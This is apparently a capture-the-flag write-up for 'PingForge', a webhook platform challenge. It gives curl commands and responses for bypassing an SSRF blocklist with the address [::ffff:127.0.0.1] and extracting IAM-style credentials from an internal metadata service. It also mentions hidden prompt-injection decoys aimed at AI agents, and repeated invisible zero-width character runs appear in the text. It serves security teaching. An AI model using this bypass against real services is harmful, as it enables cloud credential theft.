← Back to Writeups
CUSTOMMediumWeb

PingForge

XESXOR9/2/20264 min read
#web#custom#medium#decoy_flag_avoidance#internal_service_enumeration#ipv6_mapped_ipv4_bypass#ssrf_via_webhook#url_validation_bypass#webhook_delivery_log_exfiltrat

PingForge

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: decoy_flag_avoidance, internal_service_enumeration, ipv6_mapped_ipv4_bypass, ssrf_via_webhook, url_validation_bypass, webhook_delivery_log_exfiltration

Summary

Walkthrough of the CUSTOM Web PingForge. Task: PingForge webhook platform with URL validation blocklist preventing SSRF to internal metadata service on localhost:3001. Solution: Bypass blocklist using IPv6-mapped IPv4 address (::ffff:127.0.0

Description

PingForge is a webhook management and event notification platform built by ForgeStack Inc. Teams use it to route application events to external services via configurable webhook endpoints. The platform supports multiple notification channels, delivery logs with full request/response details, and retry policies. You have been given a standard user account to test the platform's security. Your goal is to find and exploit a vulnerability that allows you to access internal services that should not be reachable from the outside. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: A Node.js/Express webhook management platform (PingForge v2.4.1) with URL validation that blocks access to internal infrastructure. The goal is to bypass the URL filter and access an internal metadata service running on localhost:3001. Stack: Node.js/Express, nginx/1.25.5, SQLite.

Analysis

Reconnaissance

After authenticating with user@test.com / password123 via POST to /login, the application revealed several important details:

  1. Settings page → System Health section disclosed an Instance Metadata Service running on localhost:3001. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  2. Docs page → URL Validation section documented the SSRF blocklist:

    • Blocked IPv4 ranges: 127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.169.254, 0.0.0.0
    • Blocked hostnames: localhost
    • Only http:// and https:// protocols allowed
    • Critical gap: No IPv6 addresses mentioned in blocklist
  3. Webhook test ping feature: Each webhook has a "Send Test Ping" button that triggers POST /webhooks/:id/test — the server makes an HTTP request to the webhook URL and returns the full response body in JSON. This is the SSRF vector. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  4. Decoy flags: Every HTML page contained a honeypot flag FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in hidden HTML elements with prompt injection text designed to trick AI agents. These were identified and ignored.

Key Vulnerability

The URL validation is string-based and only checks for IPv4 private ranges and the localhost hostname. It does not account for IPv6-mapped IPv4 addresses. The address ::ffff:127.0.0.1 is the IPv6 representation of the IPv4 loopback 127.0.0.1 — it resolves to the exact same loopback interface, but the validator doesn't recognize it as internal. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Endpoints

EndpointMethodPurpose
/loginPOSTAuthentication (email, password)
/webhooksGET/POSTList/create webhooks
/webhooks/:idGETWebhook detail with delivery history
/webhooks/:id/testPOSTTrigger test ping (SSRF vector) — returns response_body
/webhooks/:id/deletePOSTDelete webhook
/settingsGETSystem health reveals internal service on localhost:3001
/docsGETAPI docs revealing URL validation blocklist
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Authentication

bash
curl -c cookies.txt -X POST https://TARGET/login \
  -d "email=user@test.com&password=password123" \
  -L

Step 2: Identify the bypass

Attempted direct access to the internal metadata service — both blocked by the URL validator:

http://localhost:3001/        → Blocked (localhost in blocklist)
http://127.0.0.1:3001/        → Blocked (127.0.0.0/8 in blocklist)

The IPv6-mapped IPv4 address bypasses the filter:

http://[::ffff:127.0.0.1]:3001/  → ACCEPTED (not in blocklist)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 3: Create SSRF webhook and enumerate internal service

Created a webhook with the bypass URL:

bash
curl -b cookies.txt -X POST https://TARGET/webhooks \
  -d "name=ssrf-test&url=http://[::ffff:127.0.0.1]:3001/&events=push&secret=test&active=on" \
  -L

Triggered the test ping to enumerate the internal metadata service:

bash
curl -b cookies.txt -X POST https://TARGET/webhooks/6/test

Response revealed the internal service structure:

json
{
  "service": "ForgeStack Instance Metadata Service",
  "version": "2.1.0",
  "status": "running",
  "endpoints": [
    "GET / - Service information and health check",
    "GET /credentials - Instance IAM credentials",
    "GET /instance-info - Instance metadata and tags"
  ]
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 4: Extract credentials (flag)

Created a second webhook targeting the /credentials endpoint:

bash
curl -b cookies.txt -X POST https://TARGET/webhooks \
  -d "name=ssrf-creds&url=http://[::ffff:127.0.0.1]:3001/credentials&events=push&secret=test&active=on" \
  -L

Triggered the test ping:

bash
curl -b cookies.txt -X POST https://TARGET/webhooks/7/test

Response contained the flag in the AWS IAM credentials:

json
{
  "code": "Success",
  "type": "AWS-HMAC",
  "credentials": {
    "access_key_id": "AKIAIOSFODNN7EXAMPLE",
    "secret_access_key": "FLAG{REDACTED}",
    "session_token": "FwoGZXIvYXdzEBYaDH2TVAaqM3UzhX7Rkay7pA3JApxEj7mIfpikSGEganDNiPZnvYRfWU0cNDlkZ2R5Ymp4bHNk",
    "expiration": "2026-03-18T12:00:00Z"
  },
  "role_arn": "arn:aws:iam::984721536098:role/PingForge-ServiceRole",
  "assumed_role_id": "AROA3XFRBF23QLBZPXYUZ:PingForge"
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 5: Additional enumeration (optional)

A third webhook targeting /instance-info revealed:

json
{
  "instance_id": "i-0a1b2c3d4e5f67890",
  "private_ip": "10.0.1.42",
  ...
}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering decoy_flag_avoidance, internal_service_enumeration, ipv6_mapped_ipv4_bypass, ssrf_via_webhook, url_validation_bypass, webhook_delivery_log_exfiltration was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-05 • CUSTOM • PingForge • Difficulty: Medium